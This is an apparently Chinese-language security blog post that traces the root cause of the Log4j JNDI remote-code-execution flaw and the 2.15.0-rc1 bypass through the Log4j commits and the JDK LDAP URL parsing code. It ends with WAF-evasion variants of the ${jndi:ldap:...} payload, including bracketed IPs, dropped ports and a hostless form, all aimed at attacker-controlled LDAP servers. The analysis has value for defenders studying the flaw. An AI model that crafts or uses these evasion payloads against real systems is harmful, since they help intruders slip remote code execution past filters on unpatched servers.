如何跟蹤log4j漏洞原理及發(fā)現(xiàn)繞WAF的tips

log4j漏洞的形成原因已經(jīng)有很多分析文章了，這里說一說我是如何在了解到有漏洞后，跟進(jìn)漏洞產(chǎn)生原理的，以及發(fā)現(xiàn)的一些繞WAF tips

跟進(jìn)漏洞產(chǎn)生原因的思路

如何發(fā)現(xiàn)漏洞產(chǎn)生的原因的

了解到log4j <=2.14.1 存在RCE的情況，我馬上跑到其官方github看了一下，發(fā)現(xiàn)commit記錄中有兩個關(guān)鍵commit

第一，log4j不再自動對消息中的lookup進(jìn)行格式化，第一時間看到不是很懂
第二，限制JNDI默認(rèn)支持，限制通過LDAP訪問服務(wù)器和類

這兩個點(diǎn)很容易聯(lián)想到是不是跟JNDI攻擊有關(guān)系，畢竟RMI和LDAP很容易做到RCE。跟進(jìn)commit看看具體的修改情況，
https://github.com/Apache/logging-log4j2/commit/d82b47c6fae9c15fcb183170394d5f1a01ac02d3 這個commit中，對
org.apache.logging.log4j.core.net.JndiManager.JAVA進(jìn)行了大量修改，特別是在lookup方法中，加了很多代碼

【私信回復(fù)“資料”獲取log4j的復(fù)現(xiàn)/修復(fù)教程】點(diǎn)擊查看網(wǎng)絡(luò)安全學(xué)習(xí)攻略

仔細(xì)看了一下，沒有修改前，lookup方法直接通過this.context.lookup(name)執(zhí)行JNDI操作，沒有任何過濾或者限制，而新增加的代碼在限制JNDI服務(wù)器、類。當(dāng)天晚上看到payload后，馬上對log4j 2.14.1版本嘗試驗(yàn)證一下，并在JndiManager#lookup方法中斷點(diǎn)看到如下

很明顯，name就是payload中給定的，仔細(xì)看一下調(diào)用棧就可以發(fā)現(xiàn)，log4j會對字符串中的${}自動解析，也就是前面提到的commit備注信息中寫到的。

如何繞過2.15.0-rc1版本

看到rc1版本存在繞過的消息，又來看看官方github倉庫的commit記錄，里面有一條在更新到2.15.0-rc1版本后的commit記錄，提交的信息是"handle URI exception"，即處理了URI出錯的情況。修改代碼的情況如下圖

JndiManager#lookup方法處給catch語句中添加了兩行代碼，記錄URI解析錯誤并返回null。而添加這兩行代碼前，此處只有一行注釋，因此catch報錯后會繼續(xù)向下執(zhí)行this.context.lookup，也就意味著前面try語句中的代碼報錯后，會繼續(xù)執(zhí)行JNDI操作，繞過也就來自于這里。

來看看try語句是怎么寫的

代碼比較長沒有完全截進(jìn)來，關(guān)鍵點(diǎn)是進(jìn)入lookup方法后，立即將name變量送入URI類的構(gòu)造函數(shù)中，此時只要URI的構(gòu)造函數(shù)對name字符串解析出錯，即可跳轉(zhuǎn)到catch語句，進(jìn)而向下執(zhí)行到JNDI操作。

那么我們要關(guān)注的點(diǎn)就是讓new URI(name)處報錯，但是name又能被jndi正常識別。好在我們用marshalsec構(gòu)造ldap服務(wù)時，不需要關(guān)心uri長什么樣，所以可以在uri上做文章。

跟蹤源代碼可以查看到URI對字符的支持情況

數(shù)字、字母大小寫這些就不說了，其它可打印字符也不多，從上面的注釋中可以看到URI對反引號`，空格，尖括號<>并不支持，基于這一點(diǎn)，可以做個簡單的實(shí)驗(yàn)

空格和括號同樣報錯，就不重復(fù)截圖了。回到前面提到的2.15.0-rc1版本對JndiManager#lookup方法的修復(fù)情況，并沒有在catch語句中添加返回操作或報錯，程序遇到報錯后，會繼續(xù)向下執(zhí)行，從而造成危險。

由于找了很久都沒有找到log4j-core-2.15.0-rc1.jar這個包，所以自己寫了個函數(shù)模擬一下繞過的場景

LDAP繞WAF的tips

URI解析

看完rc1版本的繞過后，又想了一下，防御工具可能會有針對性的做一些關(guān)鍵字檢測，所以我打算從LDAP更深層的源代碼看看有沒有對字符串變形的可能性。

跟著this.context.lookup(name)處向下跟進(jìn)到
com.sun.jndi.url.ldap.LdapURLContextFactory#getUsingURLIgnoreRootDN方法，代碼如下

注意var0也就是輸入是完整的"
ldap://192.168.34.96:1389:/a"，而后var2可以使用getHost和getPort方法獲取host和port，說明var2對象在創(chuàng)建時解析了ldap地址。跟進(jìn)LdapURL類到達(dá)Uri#parse方法

com.sun.jndi.toolkit.url.Uri#parse

private void parse(String var1) throws MalformedURLException {
    int var2 = var1.indexOf(58);
    if (var2 < 0) {
        throw new MalformedURLException("Invalid URI: " + var1);
    } else {
        this.scheme = var1.substring(0, var2);
        ++var2;
        this.hasAuthority = var1.startsWith("//", var2);
        int var3;
        if (this.hasAuthority) {
            var2 += 2;
            var3 = var1.indexOf(47, var2);
            if (var3 < 0) {
                var3 = var1.length();
            }

            int var4;
            if (var1.startsWith("[", var2)) {
                var4 = var1.indexOf(93, var2 + 1);
                if (var4 < 0 || var4 > var3) {
                    throw new MalformedURLException("Invalid URI: " + var1);
                }

                this.host = var1.substring(var2, var4 + 1);
                var2 = var4 + 1;
            } else {
                var4 = var1.indexOf(58, var2);
                int var5 = var4 >= 0 && var4 <= var3 ? var4 : var3;
                if (var2 < var5) {
                    this.host = var1.substring(var2, var5);
                }

                var2 = var5;
            }

            if (var2 + 1 < var3 && var1.startsWith(":", var2)) {
                ++var2;
                this.port = Integer.parseInt(var1.substring(var2, var3));
            }

            var2 = var3;
        }

        var3 = var1.indexOf(63, var2);
        if (var3 < 0) {
            this.path = var1.substring(var2);
        } else {
            this.path = var1.substring(var2, var3);
            this.query = var1.substring(var3);
        }

    }
}

此時var1="
ldap://192.168.34.96:1389/a"

var2第一次賦值為(char)58也就是 : 在ldap中的索引，如果不存在 : 則直接報錯
this.scheme賦值為第1個字符到 : 之間的字符串，也就是ldap、ldaps
var2第二次賦值自加1，而后檢查冒號后是否存在//，如果不存在，則host和port都直接為null，進(jìn)入path和query解析部分，也就是路徑和參數(shù)
第一個冒號后存在//，則進(jìn)入if語句，var2第三次賦值，再加2，也就是跳過了//繼續(xù)向后判斷
(char)47 也就是/，給var3=var1.indexOf("/", var2)，實(shí)際上為://后第一個/的索引，這是用來找到host和port的一個定位，但很有可能后面沒有/(即var1="ldap://192.168.1.1:1389"，此時var3直接賦值為var1.length，也就是var1最大索引+1)
再往下走，會先判斷://和var3直接有沒有 [ 和 ] 符號對，且 ] 不能在var3后面否則會直接報錯，這里有個意外情況就是ldap://[localhost:1389]/a這樣寫的話，會將localhost:1389當(dāng)成host
如果沒有出現(xiàn)[]符號對，則賦值var4為://后的第一個：的索引，然后判斷var4>=0 且 var4<=var3，也就是冒號:必須存在且在var3的前面，條件達(dá)成則賦值為var5=var4，否則var5=var3，即從://和:之間獲取host，或者從://和/之間獲取host。此時出現(xiàn)騷操作"ldap://localhost/:"，則host=localhost，騷操作"ldap://localhost"，則host=null
繼續(xù)往后走，如果正常在://和var3之間出現(xiàn)冒號，則可以截取出port，如果前面的騷操作"ldap://localhost/:"，則port為默認(rèn)值-1，這個-1在后面大有可為：）

后面解析path和query的部分就不看了，回到
com.sun.jndi.url.ldap.LdapURLContextFactory#getUsingURLIgnoreRootDN也就是上面那個圖片的位置，此時host和port都解析好了，正式開啟發(fā)起ldap請求

LDAP發(fā)起

com.sun.jndi.url.ldap.LdapURLContextFactory#getUsingURLIgnoreRootDN，執(zhí)行到new LdapCtx("", var2.getHost(), var2.getPort(), var1, var2.useSsl())，即此時LdapURL已經(jīng)解析完成，host和port都有了，跟進(jìn)LdapCtx的構(gòu)造方法，代碼如下

public LdapCtx(String var1, String var2, int var3, Hashtable<?, ?> var4, boolean var5) throws NamingException {
    this.useSsl = this.hasLdapsScheme = var5;
    if (var4 != null) {
        this.envprops = (Hashtable)var4.clone();
        if ("ssl".equals(this.envprops.get("java.naming.security.protocol"))) {
            this.useSsl = true;
        }

        this.trace = (OutputStream)this.envprops.get("com.sun.jndi.ldap.trace.ber");
        if (var4.get("com.sun.jndi.ldap.netscape.schemaBugs") != null || var4.get("com.sun.naming.netscape.schemaBugs") != null) {
            this.netscapeSchemaBug = true;
        }
    }

    this.currentDN = var1 != null ? var1 : "";
    this.currentParsedDN = parser.parse(this.currentDN);
    this.hostname = var2 != null && var2.length() > 0 ? var2 : "localhost";
    if (this.hostname.charAt(0) == '[') {
        this.hostname = this.hostname.substring(1, this.hostname.length() - 1);
    }

    if (var3 > 0) {
        this.port_number = var3;
    } else {
        this.port_number = this.useSsl ? 636 : 389;
        this.useDefaultPortNumber = true;
    }

    this.schemaTrees = new Hashtable(11, 0.75F);
    this.initEnv();

    try {
        this.connect(false);
    } catch (NamingException var9) {
        try {
            this.close();
        } catch (Exception var8) {
        }

        throw var9;
    }
}

這里主要關(guān)注hostname和port_number兩個參數(shù)，即下面的代碼塊

this.hostname = var2 != null && var2.length() > 0 ? var2 : "localhost";
if (this.hostname.charAt(0) == '[') {
    this.hostname = this.hostname.substring(1, this.hostname.length() - 1);
}

if (var3 > 0) {
    this.port_number = var3;
} else {
    this.port_number = this.useSsl ? 636 : 389;
    this.useDefaultPortNumber = true;
}

其中var2=LdapURL中解析的host，var3=LdapURL中解析的port

注意到代碼邏輯，如果var2為null，則直接使this.hostname="localhost"；
如果hostname的第一個字符為"["，則取出第二個字符至倒數(shù)第二個字符的子字符串，即從[ip]，去掉[]，獲得ip
如果var3<=0，即LdapURL解析port失敗，則在使用ldaps時，端口改為636，使用ldap時，端口強(qiáng)制改為389

這些邏輯是變換ldap字符串的關(guān)鍵

Bypass WAF tips

根據(jù)前面LdapURL和LdapCtx的解析邏輯，可以對log4j的payload做出如下變換

不出現(xiàn)port，避免被waf匹配ip:port

${jndi:ldap:192.168.1.1/a}
${jndi:ldap:192.168.1.1:/a}
注意此時需要ldap服務(wù)端口為389

對IP添加包裹

前面兩個類的解析邏輯中都有對中括號[]的處理，所以給ip添加一下包裹

${jndi:ldap://[192.168.34.96]/a}
${jndi:ldap://[192.168.34.96]]/a} 
LdapURL取出"[ip]"，LdapCtx去除[]獲得ip，兩種情況下端口都是389

不出現(xiàn)ip和端口(有點(diǎn)雞肋)

${jndi:ldap:/a}
此時相當(dāng)于ldap://localhost:389/a

這種情況主要是來自于LdapURL解析URL時出錯，導(dǎo)致host=null，port=-1，而后LdapCtx中發(fā)現(xiàn)host=null，則將host置為localhost，畢竟這樣做看起來是可信的

原理是，LdapURL解析時有個關(guān)鍵處理如下

this.hasAuthority = var1.startsWith("//", var2);   // var2=第一個冒號的索引
if (hasAuthority){
    解析獲取host和port
}

此時不出現(xiàn)://這個整體，就可以直接跳出host和port的獲取，而后在LdapCtx中對host=null時，賦值為localhost，對port=默認(rèn)值-1時，賦值為389

這個payload需要在目標(biāo)上執(zhí)行命令或其它方式開啟ldap和文件下載服務(wù)，但都可以在目標(biāo)上執(zhí)行命令了，還需要這樣干嗎？所以有點(diǎn)雞肋，除非java程序的權(quán)限比可以執(zhí)行命令的用戶權(quán)限更高，從而拿到更高權(quán)限(不過提權(quán)姿勢也很多啊)